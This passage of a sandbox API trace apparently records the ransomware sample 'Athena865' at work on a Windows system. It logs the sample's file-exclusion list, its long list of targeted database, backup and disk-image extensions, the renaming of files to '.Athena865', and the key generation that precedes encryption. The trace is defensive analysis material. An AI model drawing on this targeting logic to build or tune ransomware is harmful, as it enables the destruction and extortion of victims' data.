Flags=0x8, Size=0x104) returned 0x530d20 [0074.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.700] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.705] CloseHandle (hObject=0x17c) returned 1 [0074.705] CloseHandle (hObject=0x154) returned 1 [0074.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.708] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2=".") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="..") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="windows") returned -1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="bootmgr") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="temp") returned -1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="pagefile.sys") returned -1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="boot") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="ids.txt") returned 1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="ntuser.dat") returned -1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="perflogs") returned -1 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2="MSBuild") returned -1 [0074.708] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.xml") returned 49 [0074.708] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.BusinessApplications.Runtime.xml" | out: lpString1="Microsoft.Office.BusinessApplications.Runtime.xml") returned="Microsoft.Office.BusinessApplications.Runtime.xml" [0074.708] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.xml") returned 49 [0074.708] lstrlenW (lpString="Athena865") returned 9 [0074.708] lstrcmpiW (lpString1="ntime.xml", lpString2="Athena865") returned 1 [0074.708] lstrlenW (lpString=".dll") returned 4 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2=".dll") returned 1 [0074.708] lstrlenW (lpString=".lnk") returned 4 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2=".lnk") returned 1 [0074.708] lstrlenW (lpString=".ini") returned 4 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2=".ini") returned 1 [0074.708] lstrlenW (lpString=".sys") returned 4 [0074.708] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.xml", lpString2=".sys") returned 1 [0074.708] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.xml") returned 49 [0074.708] lstrlenW (lpString="bak") returned 3 [0074.708] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0074.708] lstrlenW (lpString="ba_") returned 3 [0074.708] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0074.709] lstrlenW (lpString="dbb") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0074.709] lstrlenW (lpString="vmdk") returned 4 [0074.709] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0074.709] lstrlenW (lpString="rar") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0074.709] lstrlenW (lpString="zip") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0074.709] lstrlenW (lpString="tgz") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0074.709] lstrlenW (lpString="vbox") returned 4 [0074.709] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0074.709] lstrlenW (lpString="vdi") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0074.709] lstrlenW (lpString="vhd") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0074.709] lstrlenW (lpString="vhdx") returned 4 [0074.709] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0074.709] lstrlenW (lpString="avhd") returned 4 [0074.709] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0074.709] lstrlenW (lpString="db") returned 2 [0074.709] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0074.709] lstrlenW (lpString="db2") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0074.709] lstrlenW (lpString="db3") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0074.709] lstrlenW (lpString="dbf") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0074.709] lstrlenW (lpString="mdf") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0074.709] lstrlenW (lpString="mdb") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0074.709] lstrlenW (lpString="sql") returned 3 [0074.709] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0074.709] lstrlenW (lpString="sqlite") returned 6 [0074.710] lstrcmpiW (lpString1="me.xml", lpString2="sqlite") returned -1 [0074.710] lstrlenW (lpString="sqlite3") returned 7 [0074.710] lstrcmpiW (lpString1="ime.xml", lpString2="sqlite3") returned -1 [0074.710] lstrlenW (lpString="sqlitedb") returned 8 [0074.710] lstrcmpiW (lpString1="time.xml", lpString2="sqlitedb") returned 1 [0074.710] lstrlenW (lpString="xml") returned 3 [0074.710] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0074.710] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.Athena865") returned 102 [0074.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.athena865"), dwFlags=0x1) returned 1 [0074.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.711] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10588) returned 1 [0074.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.711] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.712] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.712] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.712] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c60, lpName=0x0) returned 0x17c [0074.714] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c60) returned 0x100000 [0074.723] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.724] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.724] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.724] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.724] CloseHandle (hObject=0x17c) returned 1 [0074.724] CloseHandle (hObject=0x154) returned 1 [0074.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.725] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2=".") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="..") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="windows") returned -1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="bootmgr") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="temp") returned -1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="pagefile.sys") returned -1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="boot") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="ids.txt") returned 1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="ntuser.dat") returned -1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="perflogs") returned -1 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="MSBuild") returned -1 [0074.725] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned 51 [0074.725] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.dll" | out: lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned="Microsoft.Office.BusinessApplications.RuntimeUi.dll" [0074.725] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned 51 [0074.725] lstrlenW (lpString="Athena865") returned 9 [0074.725] lstrcmpiW (lpString1="imeUi.dll", lpString2="Athena865") returned 1 [0074.725] lstrlenW (lpString=".dll") returned 4 [0074.725] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2=".dll") returned 1 [0074.725] lstrlenW (lpString=".lnk") returned 4 [0074.726] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2=".lnk") returned 1 [0074.726] lstrlenW (lpString=".ini") returned 4 [0074.726] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2=".ini") returned 1 [0074.726] lstrlenW (lpString=".sys") returned 4 [0074.726] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2=".sys") returned 1 [0074.726] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned 51 [0074.726] lstrlenW (lpString="bak") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0074.726] lstrlenW (lpString="ba_") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0074.726] lstrlenW (lpString="dbb") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0074.726] lstrlenW (lpString="vmdk") returned 4 [0074.726] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0074.726] lstrlenW (lpString="rar") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0074.726] lstrlenW (lpString="zip") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0074.726] lstrlenW (lpString="tgz") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0074.726] lstrlenW (lpString="vbox") returned 4 [0074.726] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0074.726] lstrlenW (lpString="vdi") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0074.726] lstrlenW (lpString="vhd") returned 3 [0074.726] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0074.726] lstrlenW (lpString="vhdx") returned 4 [0074.726] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0074.726] lstrlenW (lpString="avhd") returned 4 [0074.726] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0074.726] lstrlenW (lpString="db") returned 2 [0074.727] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0074.727] lstrlenW (lpString="db2") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0074.727] lstrlenW (lpString="db3") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0074.727] lstrlenW (lpString="dbf") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0074.727] lstrlenW (lpString="mdf") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0074.727] lstrlenW (lpString="mdb") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0074.727] lstrlenW (lpString="sql") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0074.727] lstrlenW (lpString="sqlite") returned 6 [0074.727] lstrcmpiW (lpString1="Ui.dll", lpString2="sqlite") returned 1 [0074.727] lstrlenW (lpString="sqlite3") returned 7 [0074.727] lstrcmpiW (lpString1="eUi.dll", lpString2="sqlite3") returned -1 [0074.727] lstrlenW (lpString="sqlitedb") returned 8 [0074.727] lstrcmpiW (lpString1="meUi.dll", lpString2="sqlitedb") returned -1 [0074.727] lstrlenW (lpString="xml") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0074.727] lstrlenW (lpString="$er") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0074.727] lstrlenW (lpString="4dd") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0074.727] lstrlenW (lpString="4dl") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0074.727] lstrlenW (lpString="^^^") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0074.727] lstrlenW (lpString="abs") returned 3 [0074.727] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0074.727] lstrlenW (lpString="abx") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0074.728] lstrlenW (lpString="accdb") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0074.728] lstrlenW (lpString="accdc") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0074.728] lstrlenW (lpString="accde") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0074.728] lstrlenW (lpString="accdr") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0074.728] lstrlenW (lpString="accdt") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0074.728] lstrlenW (lpString="accdw") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0074.728] lstrlenW (lpString="accft") returned 5 [0074.728] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0074.728] lstrlenW (lpString="adb") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0074.728] lstrlenW (lpString="adb") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0074.728] lstrlenW (lpString="ade") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0074.728] lstrlenW (lpString="adf") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0074.728] lstrlenW (lpString="adn") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0074.728] lstrlenW (lpString="adp") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0074.728] lstrlenW (lpString="alf") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0074.728] lstrlenW (lpString="ask") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0074.728] lstrlenW (lpString="btr") returned 3 [0074.728] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0074.729] lstrlenW (lpString="cat") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0074.729] lstrlenW (lpString="cdb") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0074.729] lstrlenW (lpString="ckp") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0074.729] lstrlenW (lpString="cma") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0074.729] lstrlenW (lpString="cpd") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0074.729] lstrlenW (lpString="dacpac") returned 6 [0074.729] lstrcmpiW (lpString1="Ui.dll", lpString2="dacpac") returned 1 [0074.729] lstrlenW (lpString="dad") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0074.729] lstrlenW (lpString="dadiagrams") returned 10 [0074.729] lstrcmpiW (lpString1="timeUi.dll", lpString2="dadiagrams") returned 1 [0074.729] lstrlenW (lpString="daschema") returned 8 [0074.729] lstrcmpiW (lpString1="meUi.dll", lpString2="daschema") returned 1 [0074.729] lstrlenW (lpString="db-journal") returned 10 [0074.729] lstrcmpiW (lpString1="timeUi.dll", lpString2="db-journal") returned 1 [0074.729] lstrlenW (lpString="db-shm") returned 6 [0074.729] lstrcmpiW (lpString1="Ui.dll", lpString2="db-shm") returned 1 [0074.729] lstrlenW (lpString="db-wal") returned 6 [0074.729] lstrcmpiW (lpString1="Ui.dll", lpString2="db-wal") returned 1 [0074.729] lstrlenW (lpString="dbc") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0074.729] lstrlenW (lpString="dbs") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0074.729] lstrlenW (lpString="dbt") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0074.729] lstrlenW (lpString="dbv") returned 3 [0074.729] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0074.729] lstrlenW (lpString="dbx") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0074.730] lstrlenW (lpString="dcb") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0074.730] lstrlenW (lpString="dct") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0074.730] lstrlenW (lpString="dcx") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0074.730] lstrlenW (lpString="ddl") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0074.730] lstrlenW (lpString="dlis") returned 4 [0074.730] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0074.730] lstrlenW (lpString="dp1") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0074.730] lstrlenW (lpString="dqy") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0074.730] lstrlenW (lpString="dsk") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0074.730] lstrlenW (lpString="dsn") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0074.730] lstrlenW (lpString="dtsx") returned 4 [0074.730] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0074.730] lstrlenW (lpString="dxl") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0074.730] lstrlenW (lpString="eco") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0074.730] lstrlenW (lpString="ecx") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0074.730] lstrlenW (lpString="edb") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0074.730] lstrlenW (lpString="epim") returned 4 [0074.730] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0074.730] lstrlenW (lpString="fcd") returned 3 [0074.730] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0074.731] lstrlenW (lpString="fdb") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0074.731] lstrlenW (lpString="fic") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0074.731] lstrlenW (lpString="flexolibrary") returned 12 [0074.731] lstrcmpiW (lpString1="untimeUi.dll", lpString2="flexolibrary") returned 1 [0074.731] lstrlenW (lpString="fm5") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0074.731] lstrlenW (lpString="fmp") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0074.731] lstrlenW (lpString="fmp12") returned 5 [0074.731] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0074.731] lstrlenW (lpString="fmpsl") returned 5 [0074.731] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0074.731] lstrlenW (lpString="fol") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0074.731] lstrlenW (lpString="fp3") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0074.731] lstrlenW (lpString="fp4") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0074.731] lstrlenW (lpString="fp5") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0074.731] lstrlenW (lpString="fp7") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0074.731] lstrlenW (lpString="fpt") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0074.731] lstrlenW (lpString="frm") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0074.731] lstrlenW (lpString="gdb") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0074.731] lstrlenW (lpString="gdb") returned 3 [0074.731] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0074.731] lstrlenW (lpString="grdb") returned 4 [0074.732] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0074.732] lstrlenW (lpString="gwi") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0074.732] lstrlenW (lpString="hdb") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0074.732] lstrlenW (lpString="his") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0074.732] lstrlenW (lpString="ib") returned 2 [0074.732] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0074.732] lstrlenW (lpString="idb") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0074.732] lstrlenW (lpString="ihx") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0074.732] lstrlenW (lpString="itdb") returned 4 [0074.732] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0074.732] lstrlenW (lpString="itw") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0074.732] lstrlenW (lpString="jet") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0074.732] lstrlenW (lpString="jtx") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0074.732] lstrlenW (lpString="kdb") returned 3 [0074.732] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0074.732] lstrlenW (lpString="kexi") returned 4 [0074.732] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0074.732] lstrlenW (lpString="kexic") returned 5 [0074.732] 